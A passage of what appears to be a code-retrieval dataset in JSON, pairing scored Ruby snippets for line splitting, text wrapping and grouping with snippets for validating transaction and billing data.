data.\"}}})\n return raw_output\n end\n end",
"title": ""
},
{
"docid": "b1c27eb2fdf8894298df520087839ebb",
"score": "0.51839083",
"text": "def split_into_parts *sizes\n return Array.new(sizes.size) { Tokens.new } if size == 2 && first == ''\n parts = []\n opened = []\n content = nil\n part = Tokens.new\n part_size = 0\n size = sizes.first\n i = 0\n for item in self\n case content\n when nil\n content = item\n when String\n if size && part_size + content.size > size # token must be cut\n if part_size < size # some part of the token goes into this part\n content = content.dup # content may no be safe to change\n part << content.slice!(0, size - part_size) << item\n end\n # close all open groups and lines...\n closing = opened.reverse.flatten.map do |content_or_kind|\n case content_or_kind\n when :begin_group\n :end_group\n when :begin_line\n :end_line\n else\n content_or_kind\n end\n end\n part.concat closing\n begin\n parts << part\n part = Tokens.new\n size = sizes[i += 1]\n end until size.nil? || size > 0\n # ...and open them again.\n part.concat opened.flatten\n part_size = 0\n redo unless content.empty?\n else\n part << content << item\n part_size += content.size\n end\n content = nil\n when Symbol\n case content\n when :begin_group, :begin_line\n opened << [content, item]\n when :end_group, :end_line\n opened.pop\n else\n raise ArgumentError, 'Unknown token action: %p, kind = %p' % [content, item]\n end\n part << content << item\n content = nil\n else\n raise ArgumentError, 'Token input junk: %p, kind = %p' % [content, item]\n end\n end\n parts << part\n parts << Tokens.new while parts.size < sizes.size\n parts\n end",
"title": ""
},
{
"docid": "e43eadcd17a250f0eff52b840c77b40b",
"score": "0.51806575",
"text": "def acct_groups(names)\n small_groups = []\n big_groups = []\n\n names.each_slice(5) do |a|\n if a.length > 2\n big_groups << a\n else\n small_groups << a\n end\n end\n \n big_groups[big_groups.length-1].push(small_groups).flatten!\n p big_groups\nend",
"title": ""
},
{
"docid": "a54d3b28c6fd7c2b7886d8340fb11a82",
"score": "0.517792",
"text": "def wrap(options)\n regexp = options[:regexp] || /([;,]\\s*)/\n width = options[:width]\n\n ret = array_wrap(self.split(regexp), options)\n\n # Pad the last line with spaces\n ret[-1] = ret[-1] + (\" \" * [width - ret[-1].size, 0].max) if options[:pad]\n\n # Return as array or string\n options[:array] ? ret : ret.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "127b81fc640ce505d23e840e8ef62964",
"score": "0.5177004",
"text": "def consolidate(rows)\n rows.each_cons(2) do |curr_row, next_row|\n next_row[0] = curr_row[0] if next_row[0].nil? unless curr_row[0].nil?\n curr_row[1] += ' ' + next_row[1] if next_row[2].nil? and next_row[3].nil? unless curr_row[2].nil? and curr_row[3].nil?\n end\n end",
"title": ""
},
{
"docid": "80534fef0f423057102c414ee66b4275",
"score": "0.517303",
"text": "def pad_multi_line(text)\n text.split(NEWLINE).map { |part| pad_around(part) }\n end",
"title": ""
},
{
"docid": "9b8aec7995a4ca7bbf5f151a09070407",
"score": "0.5171169",
"text": "def lines\n @ys.zip(@contents).map do |lead, list|\n list.map { |e| format(e) }\n end\n end",
"title": ""
},
{
"docid": "430c5b9b36c50875240ac3b0e11fbf33",
"score": "0.51688397",
"text": "def pad_multi_line(text)\n text.split(\"\\n\", -1).map { |part| pad_around(part) }.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "0fed2ace1ae018dfe54f59634dd2242d",
"score": "0.5165507",
"text": "def ordered_transforms\n %w[expand_insertions strip_blanks erase_comments\n uncomment join_lines rstrip_lines \n pipeline bracket flatten_nested]\n end",
"title": ""
},
{
"docid": "10d64b92827e8743b15415e933eaf1ef",
"score": "0.5156974",
"text": "def join_nested_strings(src)\n row_index = 0\n strings_only = []\n while row_index < src.length do\n element_index = 0 \n while element_index < src[row_index].length do\n if src[row_index][element_index].to_s == src[row_index][element_index] \n strings_only << src[row_index][element_index]\n end\n element_index += 1\n end\n row_index += 1\n end\n strings_only.join(\" \")\nend",
"title": ""
},
{
"docid": "a7fa90c8090faab4983eb1d488797946",
"score": "0.5155762",
"text": "def fold_subtasks\n #load_array\n prev = \"\"\n newarray = []\n # get the main item, avoid subitem\n #item = line.match(/^ *([0-9\\.]+)/)\n rx = Regexp.new \"^ *([0-9]+)\"\n @data.each { |row| \n it = row[0].match(rx)\n item = it[1]\n if item == prev # append to prev line\n #puts \"item matches prev #{item} #{prev} \"\n x=newarray.last\n x[1] << \"\u0002#{row[0]}\\t#{row[1]}\"\n else\n #puts \"no match item matches prev #{row[0]}: #{prev} \"\n newarray << row\n end\n prev = item\n }\n #newarray.each { |row| puts \"#{row[0]} #{row[1]}\" }\n @data = newarray\n end",
"title": ""
},
{
"docid": "57627f2a516d2768ff5117424d3a95eb",
"score": "0.5146589",
"text": "def wrap_for_nesting(source)\n nesting = Pry::Code.from_file(code_object.source_file).nesting_at(code_object.source_line)\n\n (nesting + [source] + nesting.map{ \"end\" } + [\"\"]).join(\"\\n\")\n rescue Pry::Indent::UnparseableNestingError => e\n source\n end",
"title": ""
},
{
"docid": "42387c4c8ee938e121595c46257be54e",
"score": "0.5140687",
"text": "def trailing_join(lines)\n lines.join(\"\\n\") + \"\\n\"\n end",
"title": ""
},
{
"docid": "3f2b2052b0a4108547b14afd32a8bd1e",
"score": "0.51386344",
"text": "def separate_comments(lines)\n line_counter = 0\n raw_lines = []\n\n lines.each do |line|\n line_counter += 1\n new_line = {\n :number => line_counter,\n :end => line_counter,\n :cargo => \"\",\n :comments => []\n }\n\n case\n when (line =~ /^c(.*)/i) || (line =~ /^\\s*!(.*)$/i)\n # we need to strip pure comment lines and append those to the\n # preceeding line to ensure continuation works correctly\n if raw_lines.size > 0\n # we can only append if there actually is a preceeding line\n raw_lines[-1][:comments] << $1\n next\n end\n new_line[:comments] << $1\n when line =~ /^([^\\!]*)\\!(.*)$/\n new_line[:cargo] += $1\n new_line[:comments] << $2\n when line =~ /^$/\n # drop empty lines, also required to correctly fuse continued\n # lines (continuations ignore interleaved empty lines).\n next\n else\n new_line[:cargo] += line.chomp\n end\n\n raw_lines << new_line\n end\n\n return raw_lines\n end",
"title": ""
},
{
"docid": "3f2b2052b0a4108547b14afd32a8bd1e",
"score": "0.51386344",
"text": "def separate_comments(lines)\n line_counter = 0\n raw_lines = []\n\n lines.each do |line|\n line_counter += 1\n new_line = {\n :number => line_counter,\n :end => line_counter,\n :cargo => \"\",\n :comments => []\n }\n\n case\n when (line =~ /^c(.*)/i) || (line =~ /^\\s*!(.*)$/i)\n # we need to strip pure comment lines and append those to the\n # preceeding line to ensure continuation works correctly\n if raw_lines.size > 0\n # we can only append if there actually is a preceeding line\n raw_lines[-1][:comments] << $1\n next\n end\n new_line[:comments] << $1\n when line =~ /^([^\\!]*)\\!(.*)$/\n new_line[:cargo] += $1\n new_line[:comments] << $2\n when line =~ /^$/\n # drop empty lines, also required to correctly fuse continued\n # lines (continuations ignore interleaved empty lines).\n next\n else\n new_line[:cargo] += line.chomp\n end\n\n raw_lines << new_line\n end\n\n return raw_lines\n end",
"title": ""
},
{
"docid": "a0dbfcdf362ee2cb33dd140bdfd6fed9",
"score": "0.5131041",
"text": "def normalize_spaced_repetition_automatic_back_creation(input)\n result = []\n input.lines.each do |line|\n if line =~ /(^| )xx .+ yy/\n transformed = line.gsub(/(^| )xx (.*?) yy/) do\n before = Regexp.last_match(1)\n text = Regexp.last_match(2)\n \"#{before}**#{text}**\"\n end\n result << make_sr_chunk(transformed)\n if transformed.chomp != transformed\n result << \"\\n\"\n end\n else\n result << line\n end\n end\n result = result.join\n end",
"title": ""
},
{
"docid": "455c286cc765b693e8c3e5a3484e3e6c",
"score": "0.51306844",
"text": "def organize_arrays(braille_message)\n first_braille_character = []\n second_braille_character = []\n third_braille_character = []\n braille_message.each_with_index do |braille, index|\n if index % 3 == 0\n first_braille_character << braille.chomp\n\n elsif (index - 1) % 3 == 0\n second_braille_character << braille.chomp\n\n else\n third_braille_character << braille.chomp\n end\n end\n braille_characters = [first_braille_character.join, second_braille_character.join, third_braille_character.join]\n end",
"title": ""
},
{
"docid": "f9fa516369c9c408a7e3aecae80b2ee1",
"score": "0.51264805",
"text": "def merge(text_pieces)\n while !text_pieces.empty? and text_pieces.last.text == ' '\n text_pieces.pop\n end\n text_pieces.inject([]) do |pieces, piece|\n if pieces.empty? or [pieces.last.font, pieces.last.color, pieces.last.underline] != [piece.font, piece.color, piece.underline]\n pieces << piece\n else\n pieces.last.text << piece.text\n pieces.last.width += piece.width\n pieces.last.chars += piece.chars\n pieces.last.tokens += piece.tokens\n end\n pieces\n end\n end",
"title": ""
},
{
"docid": "7c17729bf23595c5b0d8dcadc0602787",
"score": "0.5125035",
"text": "def to_a\n max_line_length = @config.get('max_line_length')\n tab = @config.get('tab')\n\n strings = []\n to_groups.each do |group|\n group.each do |import_statement|\n strings.concat(\n import_statement.to_import_strings(max_line_length, tab))\n end\n strings << '' # Add a blank line between groups.\n end\n\n # We don't want to include a trailing newline at the end of all the\n # groups here.\n strings.pop if strings.last == ''\n\n strings\n end",
"title": ""
},
{
"docid": "6dd77f18ecc03f1386c698fac9f30d76",
"score": "0.5124628",
"text": "def group_skills(input)\n groups = []\n\n char_count = 0\n until input.empty?\n tmp = input.take_while do |e|\n char_count += e.size\n # 35 characters seems to be the limit, sort of\n condition = char_count < 35\n # Padding of textbullets\n char_count += 3\n condition\n end\n\n groups << tmp\n input = input.drop(tmp.size)\n # Reset for next iteration\n char_count = 0\n end\n\n groups.map { |e| e.flat_map { |x| [x, ' \\textbullet{} '] }.tap(&:pop) }\n end",
"title": ""
},
{
"docid": "be4582d0dd85e79598210b50edb6b8d1",
"score": "0.5120982",
"text": "def format_data( raw_data )\n if raw_data.is_a? Array \n if raw_data[0].is_a? Array \n raw_data.transpose.map!{ |one_row| one_row.join \" \"}\n else\n raw_data\n end \n else\n [].tap{ |data| raw_data.each { |*vals| data << vals.join(\" \") } } #not tested yet\n end.<< 'end'\n end",
"title": ""
},
{
"docid": "e006f8edecbe22c84007fadfeca8b70c",
"score": "0.5120869",
"text": "def grouping_array_or_grouping_element(o, collector)\n if o.expr.is_a? Array\n collector << \"( \"\n visit o.expr, collector\n collector << \" )\"\n else\n visit o.expr, collector\n end\n end",
"title": ""
},
{
"docid": "f3edeb897f50571983939f6291448de2",
"score": "0.5115003",
"text": "def break_lines(input)\n result = \"\"\n\n input.each_line do |s|\n\n if s =~ /^\\s*$/\n # empty line\n result += \"\\n\"\n else\n\n # Amount to indent each line by so that they align\n # with the initial bullet point (if this line is a\n # bullet point)\n\n indent_length = if s =~ /^(\\s*\\*\\s*)/\n $1.length\n else\n 0\n end\n\n # Split this line into words, then add them to nextline\n # one at a time until it reaches a 70 character limit.\n\n nextline = s[0, indent_length]\n s = s[indent_length, s.length]\n \n words = s.split(/\\s+/)\n \n words.each do |word|\n\n # If the next word will run over the limit, break\n # onto a new line. \n\n if nextline.length > indent_length \\\n && nextline.length + word.length + 1 > 70\n\n result += nextline + \"\\n\"\n nextline = \" \" * indent_length\n end\n\n # Space to separate from the previous word, but only\n\t\t # if this is not the start of a line\n\n if nextline.length > indent_length\n\t\t if nextline[-1, 1] == \".\"\n\n\t\t\t # Two spaces after a period\n\n\t\t\t nextline += \" \"\n\t\t\tend\n nextline += \" \"\n end\n\n nextline += word\n end\n \n # Print the last \"unfinished\" line\n\n if nextline.length > indent_length\n result += nextline + \"\\n\"\n end\n end\n end\n\n result\n end",
"title": ""
},
{
"docid": "f3edeb897f50571983939f6291448de2",
"score": "0.5115003",
"text": "def break_lines(input)\n result = \"\"\n\n input.each_line do |s|\n\n if s =~ /^\\s*$/\n # empty line\n result += \"\\n\"\n else\n\n # Amount to indent each line by so that they align\n # with the initial bullet point (if this line is a\n # bullet point)\n\n indent_length = if s =~ /^(\\s*\\*\\s*)/\n $1.length\n else\n 0\n end\n\n # Split this line into words, then add them to nextline\n # one at a time until it reaches a 70 character limit.\n\n nextline = s[0, indent_length]\n s = s[indent_length, s.length]\n \n words = s.split(/\\s+/)\n \n words.each do |word|\n\n # If the next word will run over the limit, break\n # onto a new line. \n\n if nextline.length > indent_length \\\n && nextline.length + word.length + 1 > 70\n\n result += nextline + \"\\n\"\n nextline = \" \" * indent_length\n end\n\n # Space to separate from the previous word, but only\n\t\t # if this is not the start of a line\n\n if nextline.length > indent_length\n\t\t if nextline[-1, 1] == \".\"\n\n\t\t\t # Two spaces after a period\n\n\t\t\t nextline += \" \"\n\t\t\tend\n nextline += \" \"\n end\n\n nextline += word\n end\n \n # Print the last \"unfinished\" line\n\n if nextline.length > indent_length\n result += nextline + \"\\n\"\n end\n end\n end\n\n result\n end",
"title": ""
},
{
"docid": "a231f7934214f3001a9901a1222d6f7d",
"score": "0.51117903",
"text": "def group(array)\n yield([array[0], array[1], array.slice(2..array.size)])\nend",
"title": ""
},
{
"docid": "13317563b6144e2b32542831bd3b5649",
"score": "0.5102269",
"text": "def build_section(lines)\n lines.map! { |line| Regexp.quote(line) }\n /^#{lines.join('\\n')}/\nend",
"title": ""
},
{
"docid": "17727fb2fa3064ffcc398d9ad2cd9975",
"score": "0.5098342",
"text": "def build_grouping_body\n case options.style\n when :inline\n render_inline_grouping(options)\n when :justified, :raw\n render_justified_or_raw_grouping\n else\n raise NotImplementedError, \"Unknown style\"\n end\n end",
"title": ""
},
{
"docid": "f7f7ab850d1bcdb937aaa41e24d2836e",
"score": "0.5093909",
"text": "def collapse_continuations\n @contents = @contents.gsub(/\\s*&.*?\\n/,'')\n end",
"title": ""
},
{
"docid": "614e51cf015227dd62b0f6fea934f102",
"score": "0.50923854",
"text": "def break_lines(s)\n # often we find a section title munged onto the same line as its first statement\n # eg:\n # foo bar. New section title 62. (1) For the purpose\n s = s.gsub(/\\. ([^.]+) (\\d+\\. \\(1\\) )/, \".\\n\" + '\\1' + \"\\n\" + '\\2')\n\n # New section title 62. (1) For the purpose\n s = s.gsub(/(\\w) (\\d+\\. \\(1\\) )/, '\\1' + \"\\n\" + '\\2')\n\n # (1) foo; (2) bar\n # (1) foo. (2) bar\n s = s.gsub(/(\\w{3,}[;.]) (\\([0-9a-z]+\\))/, \"\\\\1\\n\\\\2\")\n\n # (1) foo; and (2) bar\n # (1) foo; or (2) bar\n s = s.gsub(/; (and|or) \\(/, \"; \\\\1\\n(\")\n\n # The officer-in-Charge may – (a) remove all withered natural... \\n(b)\n # We do this last, because by now we should have reconised that (b) should already\n # be on a new line.\n s = s.gsub(/ (\\(a\\) .+?\\n\\(b\\))/, \"\\n\\\\1\")\n\n # \"foo\" means ...; \"bar\" means\n s = s.gsub(/; ([\"”“][^\"”“]+?[\"”“] means)/, \";\\n\\\\1\")\n\n # CHAPTER 4 PARKING METER PARKING GROUNDS Place of parking\n s = s.gsub(/([A-Z0-9 ]{5,}) ([A-Z][a-z ]{5,})/, \"\\\\1\\n\\\\2\")\n\n s\n end",
"title": ""
},
{
"docid": "cafd08b24c29420d8dc76e27cb300d2f",
"score": "0.509115",
"text": "def multi_line\n lines = []\n lines << street if street?\n\n line = ''\n line << city if city?\n if region\n line << ', ' if !line.blank?\n line << region.name if region?\n end\n if postal_code?\n line << ' ' if !line.blank?\n line << postal_code.to_s\n end\n lines << line if !line.blank?\n\n lines << country.alpha_3_code if country?\n lines\n end",
"title": ""
},
{
"docid": "1b5f1cf51be62d314c36dfa34e50cb4a",
"score": "0.5089179",
"text": "def dump_new_lines\n collection.each do |group_of_chars|\n group_of_chars.reject! { |string| string == NEW_LINE unless group_of_chars.size == 1 }\n end\n end",
"title": ""
},
{
"docid": "8c85f2c977a5c068ecbb1942d119f02b",
"score": "0.50882876",
"text": "def to_s\n current_group = output = +''\n data.sort_by { |group, _| group.downcase }.each do |group, domains|\n if group != current_group\n output << \"\\n\\n\" unless current_group.empty? # first entry\n output << \"// #{group}\\n\"\n current_group = group\n end\n output << domains.join(\"\\n\")\n end\n output\n end",
"title": ""
},
{
"docid": "75d1dd3b4942dcdff54816dfcdbe024c",
"score": "0.5083576",
"text": "def collect_each_line_with_index(&block)\n returning [] do |arr|\n arr << self.split(/\\n/).collect_with_index(&block)\n end.flatten\n end",
"title": ""
},
{
"docid": "20f59462c3b43181265c7c1c92b06b74",
"score": "0.5081734",
"text": "def reorganize_test_cases(test_cases_arr)\n i = 1\n while i < test_cases_arr.size\n if test_cases_arr[i].strip.start_with?(\"|\")\n test_cases_arr[i-1] = test_cases_arr[i-1] + \"</br>\" + test_cases_arr[i].gsub(' ', ' ')\n test_cases_arr[i] = ''\n end\n i = i + 1\n end\n test_cases_arr_new = test_cases_arr.reject {|testcase|\n testcase.size == 0\n }\n test_cases_arr_new\nend",
"title": ""
},
{
"docid": "35fbf3cfc170271b55693673b5f8b1c8",
"score": "0.50786024",
"text": "def transform(lines)\n starts = find_start_coords(lines, /@/)\n\n return lines unless starts.size == 1\n\n x, y = starts.first\n\n lines.each_with_index.map do |line, i|\n if [y - 1, y + 1].include?(i)\n line[0, x - 1] + '@#@' + line[(x + 2..-1)]\n elsif i == y\n line[0, x - 1] + '###' + line[(x + 2..-1)]\n else\n line\n end\n end\nend",
"title": ""
},
{
"docid": "ff07babfc36cf5f08f7be48c87c2c88c",
"score": "0.50764996",
"text": "def compile_line(aRawLine)\n line_rep = aRawLine.map { |couple| compile_couple(couple) }\n\n # Apply the rule: when a line just consist of spaces\n # and a section element, then remove all the spaces from that line.\n section_item = nil\n line_to_squeeze = line_rep.all? do |item|\n case item\n when StaticText\n item.source =~ /\\s+/\n\n when Section, SectionEndMarker\n if section_item.nil?\n section_item = item\n true\n else\n false\n end\n else\n false\n end\n end\n if line_to_squeeze && !section_item.nil?\n line_rep = [section_item]\n else\n line_rep_ending(line_rep)\n end\n\n return line_rep\n end",
"title": ""
},
{
"docid": "608bafa5e5b0dc87c43dda21bacc871c",
"score": "0.5070301",
"text": "def group(buf0=VOID,&code) # :yield: buf\n process(buf0) { |out,buf|\n out << (code ? code[buf] : buf)\n }\n end",
"title": ""
},
{
"docid": "1e85660fe1b160f4318477fed812defe",
"score": "0.5068527",
"text": "def split(text)\narray = text.split(\"\\n\")\narray.map {|line| \"Line #{array.index(line).next}: #{line}\\n\"}.join\nend",
"title": ""
}
] |
b5b838bd4a55b75482d06cd9ab4dda92
|
=> Validate Transaction Data
|
[
{
"docid": "a4026fd6fd09da27c33e252e24422902",
"score": "0.0",
"text": "def validate(data, attr_required)\n result = true\n # Merge input fields into array\n\t\tarr_att = Hash.new\n\t\tdata['generalData'].each do |key, value|\n \t\tarr_att[key] = value \n\t\tend\n\n\t\tdata['operationData'].each do |key, value|\n \t\tarr_att[key] = value \n\t\tend\n\t\t \n\t\t# Now I notice if required fields are all positions\n\t\tattr_required.each do |key|\n\t\t\tif ( arr_att[key].nil? )\n\t\t\t\t@attr_error[key] = 'Este campo es requerido '\n\t\t\t\tresult = false\n\t\t\tend\n\t\tend\t\n\n\t\treturn result \n\tend",
"title": ""
}
] |
[
{
"docid": "00e661fe691b0e526a2942330ff354fd",
"score": "0.71134466",
"text": "def test_invalid_transactions\n\t @checker.do_transactions('000000>111111(10)', 0)\n\t refute @checker.check_addresses(0)\n end",
"title": ""
},
{
"docid": "3c82cdd0fd028650f485d00ae3a21ae4",
"score": "0.7095922",
"text": "def test_valid_transactions\n\t @checker.do_transactions('000000>111111(10):SYSTEM>000000(10)', 0)\n\t assert @checker.check_addresses(0)\n end",
"title": ""
},
{
"docid": "9868c6a73b0c5ca8c2b7d230d58eb204",
"score": "0.7063645",
"text": "def validate(data); end",
"title": ""
},
{
"docid": "20ebbdc3b5347e0eba46cd169da4867e",
"score": "0.68144065",
"text": "def validate_transaction_details(purchaseObj)\n noError = true\n if financial_transaction_params[:financial_transaction][:amount].blank?\n purchaseObj.errors[:financial_transaction] << \"Amount can not be empty\"\n noError = false\n end\n return noError\n end",
"title": ""
},
{
"docid": "daf034f48f3943b2ed3b251547feb5df",
"score": "0.67830956",
"text": "def verify_transaction_list\n verify_error(@id, 'Transaction list length should be at least 1') unless @transaction_list.length >= 1\n return if @transaction_list[-1].system?\n verify_error(@id, \"Invalid transaction src #{@transaction_list[-1].src}, final transaction should be from SYSTEM\")\n end",
"title": ""
},
{
"docid": "e601bcba892dcbfc95362680f4b3ba76",
"score": "0.6768705",
"text": "def verify_transaction_number\n if (not AdminUser.current_admin_user.present?) and (self.transaction_number.present? or self.transaction_id.present?) # user is not admin, and has entered a transaction ID\n if self.problem == \"delivery confirmation\"\n transaction = Mtg::Transaction.where(:seller_id => self.current_user.id, :transaction_number => self.transaction_number).first\n else\n transaction = Mtg::Transaction.where(:buyer_id => self.current_user.id, :transaction_number => self.transaction_number).first #find the transaction corresponding to transaction ID entered and which belongs to current user\n end\n if not transaction.present? # did we find the transaction?\n errors.add(:transaction_number, \"invalid transaction ID\") # transaction ID was entered wrong, or this transaction doesn't belong to current user\n else\n self.transaction = transaction # correct transaction ID entered let's set the transaction\n end\n end\n \n # Verify transaction_number is present if it is needed\n if self.problem == \"shipping\" or self.problem == \"delivery confirmation\"\n if not self.transaction_number.present? \n errors.add(:transaction_number, \"Required for this problem type\")\n end\n end\n \n end",
"title": ""
},
{
"docid": "9cca1d40da61c821476cb3cdafd46526",
"score": "0.66761374",
"text": "def test_invalid_transaction_format\n\t assert_output(\"Line 0: Could not parse transaction list 'Billy Bob'\\n\") {@checker.do_transactions('Billy Bob', 0)}\n end",
"title": ""
},
{
"docid": "005b3fe52fa650051eaccf5381073eb8",
"score": "0.6638482",
"text": "def valid?\n return false if @va_id.nil?\n return false if @va_id.to_s.length > 10\n return false if @va_id.to_s.length < 10\n return false if @transaction_date.nil?\n return false if @transaction_date.to_s.length > 10\n return false if @transaction_date.to_s.length < 10\n return false if @value_date.nil?\n return false if @value_date.to_s.length > 10\n return false if @value_date.to_s.length < 10\n return false if @va_branch_code.nil?\n return false if @va_branch_code.to_s.length > 3\n return false if @va_branch_code.to_s.length < 3\n return false if @va_branch_name_kana.nil?\n return false if @va_branch_name_kana.to_s.length > 15\n return false if @va_branch_name_kana.to_s.length < 1\n return false if @va_account_number.nil?\n return false if @va_account_number.to_s.length > 7\n return false if @va_account_number.to_s.length < 7\n return false if @va_account_name_kana.nil?\n return false if @va_account_name_kana.to_s.length > 40\n return false if @va_account_name_kana.to_s.length < 1\n return false if @deposit_amount.nil?\n return false if @deposit_amount.to_s.length > 20\n return false if @deposit_amount.to_s.length < 1\n return false if @remitter_name_kana.nil?\n return false if @remitter_name_kana.to_s.length > 48\n return false if @remitter_name_kana.to_s.length < 1\n return false if @payment_bank_name.nil?\n return false if @payment_bank_name.to_s.length > 30\n return false if @payment_bank_name.to_s.length < 1\n return false if @payment_branch_name.nil?\n return false if @payment_branch_name.to_s.length > 15\n return false if @payment_branch_name.to_s.length < 1\n return false if @partner_name.nil?\n return false if @partner_name.to_s.length > 50\n return false if @partner_name.to_s.length < 1\n return false if [email protected]? && @remarks.to_s.length > 255\n return false if [email protected]? && @remarks.to_s.length < 1\n return false if @item_key.nil?\n return false if @item_key.to_s.length > 24\n return false if @item_key.to_s.length < 1\n true\n end",
"title": ""
},
{
"docid": "379a0d090e1c3ebde73a1dfc285a9155",
"score": "0.6617614",
"text": "def validate_data\n begin\n #first remove any old errors from the table\n self.dataerrors.clear\n\n @s = []\n # check the necessary fields in the table\n # use the build method so the polymorphic reference is generated cleanly\n # the following to check should never be possible. claims are always associated to a patient and session\n @s.push self.dataerrors.build(:message => \"No Patient associated to a session included in the balance bill; Delete this invoice and create a new one\", :created_user => self.created_user) if self.patient_id.blank?\n @s.push self.dataerrors.build(:message => \"No Session associated to a session included in the balance bill; Delete this invocie and create a new one\", :created_user => self.created_user) if self.insurance_session_id.blank?\n # check for the relationships to other tables\n @s.push self.dataerrors.build(:message => \"No provider associated to a claim included in the balance bill\", :created_user => self.created_user) if self.provider_id.blank?\n\n # check the fields within insurance billing\n @s.push self.dataerrors.build(:message => \"A Session has a $0.00 balance amount. Edit the balance amount or waive the session on the balance bill.\", :created_user => self.created_user) if self.total_amount.blank? || self.total_amount == 0\n\n #if there are errors, save them to the dataerrors table and return false\n Dataerror.store(@s) if @s.count > 0\n rescue\n errors.add :base, \"failed to validate balance billing record\"\n return false\n end\n return true #everything is good, return true\n end",
"title": ""
},
{
"docid": "65520c9f3e5103e2aa8db0581788c5ba",
"score": "0.65369606",
"text": "def verify_transaction(transaction, line_number, users, count, len)\n tokens = transaction.split('>')\n # You need to make sure that there is a to/from address\n unless tokens.length == 2\n print_err(\"Could not parse transaction list '#{transaction}'\", line_number)\n return -1\n end\n\n from_address = tokens[0]\n to_address = tokens[1].split('(')[0]\n # Ensures the value is contained in parenthesis\n amount = tokens[1][/\\(.*?\\)/]\n if amount.nil?\n print_err(\"ERROR: On line #{line_number} you must contain the \" \\\n 'value of the transaction in parenthesis', line_number)\n return -2\n end\n # Remove the parenthesis\n amount = amount.gsub(/[()]/, '(' => '', ')' => '')\n unless number?(amount)\n print_err(\"ERROR: The amount '#{amount}' shown \" \\\n \"at line #{line_number} is not numeric\", line_number)\n return -3\n end\n\n amount = amount.to_i\n # Ensure that the last element in the transaction list is the SYSTEM transaction\n if count == len && !transaction.include?('SYSTEM')\n print_err('The SYSTEM transaction must be the last transaction in ' \\\n \"the string instead of '#{transaction}'\", line_number)\n return -4\n end\n\n process_transaction(from_address, to_address, amount, users, line_number)\n end",
"title": ""
},
{
"docid": "65b96c20b58df42f688871e4c01ec991",
"score": "0.64994866",
"text": "def validate_address(transaction)\r\n if transaction[0].length > 6\r\n puts \"Line #{@line_cnt - 1}: Invalid FROM address #{transaction[0]}\"\r\n puts 'BLOCKCHAIN INVALID'\r\n @execute = false\r\n elsif transaction[1].length > 6\r\n puts \"Line #{@line_cnt - 1}: Invalid TO address #{transaction[1]}\"\r\n puts 'BLOCKCHAIN INVALID'\r\n @execute = false\r\n end\r\n end",
"title": ""
},
{
"docid": "da710af8dbe957f16851badaa4361df8",
"score": "0.6485719",
"text": "def test_invalid_transaction1\n sim = VerifierSimulator.new\n assert_equal false, sim.complete_transactions(100)\n end",
"title": ""
},
{
"docid": "e687da25348a61bf2b572a96ff33a2cd",
"score": "0.64667517",
"text": "def validate_transaction_balance\n errors.add(:lines, 'Balance difference must be 0') if self.difference != 0.0\n end",
"title": ""
},
{
"docid": "dc1b558e0a7708f7e7c5f54939743759",
"score": "0.6439276",
"text": "def valid_transaction(line_num, transaction)\n t_info = transaction.split(/[>()]/)\n if(t_info.count == 3)\n if(t_info[0].length <= 6)\n if(alpha? t_info[0])\n if(t_info[1].length <= 6)\n if(alpha? t_info[1])\n if(t_info[1] != \"SYSTEM\")\n if(t_info[2].to_i > 0)\n return t_info\n else\n puts \"Line #{line_num}: Found #{t_info[2]}. Cannot send a negative amount of money \"\n return false\n end\n else\n puts \"Line #{line_num}: Found #{transaction}. Cannot send money to the SYSTEM\"\n return false\n end\n else\n puts \"Line #{line_num}: Found #{t_info[1]}. TO_ADDR not all alpabetical characters\"\n return false\n end\n else\n puts \"Line #{line_num}: Found #{t_info[1]}. TO_ADDR length too long\"\n return false\n end\n else\n puts \"Line #{line_num}: Found #{t_info[0]}. FROM_ADDR not all alpabetical\"\n return false\n end\n else\n puts \"Line #{line_num}: Found #{t_info[0]}. FROM_ADDR length too long\"\n return false\n end\n else\n puts \"Line #{line_num}: Found #{transaction}. Transactions must be in the format: FROM_ADDR>TO_ADDR(NUM_BILLCOINS_SENT)\"\n return false\n end\n end",
"title": ""
},
{
"docid": "8fa11a6bc41d71e4dfbdc0e5b326941a",
"score": "0.6434224",
"text": "def validate_data_format\n fail\n end",
"title": ""
},
{
"docid": "50ac6d164fe168501da2b305a7e2094c",
"score": "0.6423263",
"text": "def test_transaction_validity\n\t\taccount_array = []\n\t\ttempity = []\n\t\tj = 0\n\t\tString test_array = '6|d072|Wu>Edward(16):SYSTEM>Amina(100)|1518892051.793695000|949'.split('|').map(&:chomp)\n\t\tString test_subarray = test_array[2].split(/\\W+/).map(&:chomp)\n\t\t\tfor i in 0..test_subarray.count-1 do\n\t\t\t\tif test_subarray[i].to_i.to_s == test_subarray[i]\n\t\t\t\tj += 1\n\t\t\t\t temp = test_subarray[i].to_i\n\t\t\t\t\taccount_array[j-1].new_balance(-temp)\n\t\t\t\t\taccount_array[j].new_balance(temp)\n\t\t\t\t\tj += 1\n\t\t\t\telse\n\t\t\t\t\taccount = Account::new(test_subarray[i])\n\t\t\t\t\tif tempity.include? test_subarray[i]\n\t\t\t\t\t\tnext\n\t\t\t\t\telse\n\t\t\t\t\taccount_array.push(account)\n\t\t\t\t\ttempity.push(test_subarray[i])\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\tend\n\t\t\t\n\t\t\t\t\n\t\t\tend\n\t\t\t\t\taccount_array.each { |i| puts \"#{i.name}: #{i.balance} billcoins\"}\n\n\t\n\tend",
"title": ""
},
{
"docid": "57e9837458563bd5701f0f92a6a24234",
"score": "0.63964695",
"text": "def verify_transactions(transactions, accounts, line_number)\n data = transactions.split(':')\n if data.empty?\n puts \"Line #{line_number}: transaction list is empty\"\n return false\n end\n\n # verify the pattern of each transaction and apply the transaction to the accounts\n data.each do |trans|\n unless valid_transaction_pattern?(trans)\n puts \"Line #{line_number}: Cannot parse transaction '#{trans}'\"\n return false\n end\n\n apply_transaction(trans, accounts, @negative)\n end\n\n # after processing the whole block, check whether there is any accounts with negative balance\n unless @negative.empty?\n @negative.each do |address|\n puts \"Line #{line_number}: Invalid block, address #{address} has #{accounts[address]} billcoins!\"\n end\n return false\n end\n\n true\nend",
"title": ""
},
{
"docid": "3fed3f26d75f72563f8d55e21e19c1f4",
"score": "0.63539016",
"text": "def test_valid_transaction\n sim = VerifierSimulator.new\n assert_equal true, sim.complete_transactions('SYSTEM>Mike(100)')\n end",
"title": ""
},
{
"docid": "cecd354b4bbba7a04617a77b57888f65",
"score": "0.63392496",
